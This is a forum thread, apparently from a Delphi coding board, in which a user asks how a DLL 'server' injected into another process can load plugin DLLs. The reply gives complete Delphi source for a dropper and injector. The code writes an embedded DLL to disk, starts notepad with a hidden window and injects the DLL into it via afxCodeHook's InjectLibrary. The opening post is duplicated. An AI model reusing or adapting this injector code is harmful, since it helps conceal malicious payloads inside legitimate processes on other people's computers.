hi guys,
how can i load a dll and call a procedure/function, from a dll??
as my server is a dll, and i inject it into another process, and then how can i load my plugin dll's with my server dll??
thanks,
-drkdreams
hi guys,
how can i load a dll and call a procedure/function, from a dll??
as my server is a dll, and i inject it into another process, and then how can i load my plugin dll's with my server dll??
thanks,
-drkdreams
-Delphi Coder
yeah but can anyone show me how to place this in a dll?
as i get errors?
Thanks,
-drkdreams
-Delphi Coder
i want to load a dll from a dll, and it wont work?
any examples?
-Delphi Coder
Have you solved the problem?
I did it in the past and don't remember having any problems... IIRC...
Maybe something is wrong with your dll(s)...
try with AfxCodehook
Code:program Inject; //if u want a dll rename this to library Injecj uses Windows, afxCodeHook; {$R 'res.res' 'res.rc'} //here you had to put a .rc file in your directory //like this 'j4v RCDATA xpcore.dll' witout the quotes //dont forget compile your rc file after compile the //project procedure ExtractResourceToFile( ResName, ResExtract: String); var ResourceLocation: HRSRC; cFileHandle, cResourceDataHandle: THandle; cResourceSize, cBytesWritten: Longword; cRecourcePath, cResourcePointer: PChar; begin cRecourcePath := PChar( ResExtract ); ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA); cResourceSize := SizeofResource(HInstance,ResourceLocation); cResourceDataHandle := LoadResource(HInstance,ResourceLocation); cResourcePointer := LockResource(cResourceDataHandle); cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil); CloseHandle( cFileHandle ); end; procedure injectDll; var StartInfo: TStartupInfo; ProcInfo: TProcessInformation; BytesRead, Module, Process, Size: dword; Path: array [0..MAX_PATH] of char; Data: pointer; begin ExtractResourceToFile('j4v', 'xpcore.dll'); //here go your dll name ZeroMemory(@StartInfo, SizeOf(TStartupInfo)); StartInfo.cb := SizeOf(TStartupInfo); startinfo.dwFlags:= STARTF_USESHOWWINDOW; startinfo.wShowWindow := SW_HIDE; CreateProcess(nil, PAnsiChar('notepad'), nil, nil, False, 0, nil, nil, StartInfo, ProcInfo); //get the dll data to inject Process := ProcInfo.hProcess; GetCurrentDirectory(MAX_PATH, Path); Module := CreateFile(pchar('xpcore.dll'), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); Size := GetFileSize(Module, nil); GetMem(Data, Size); ReadFile(Module, Data^, Size, BytesRead, nil); CloseHandle(Module); //inject the DLL using the Ex method InjectLibrary(Process, Data); FreeMem(Data); halt; WaitForSingleObject(ProcInfo.hProcess, INFINITE); end; begin InjectDll(); end.
There are currently 1 users browsing this thread. (0 members and 1 guests)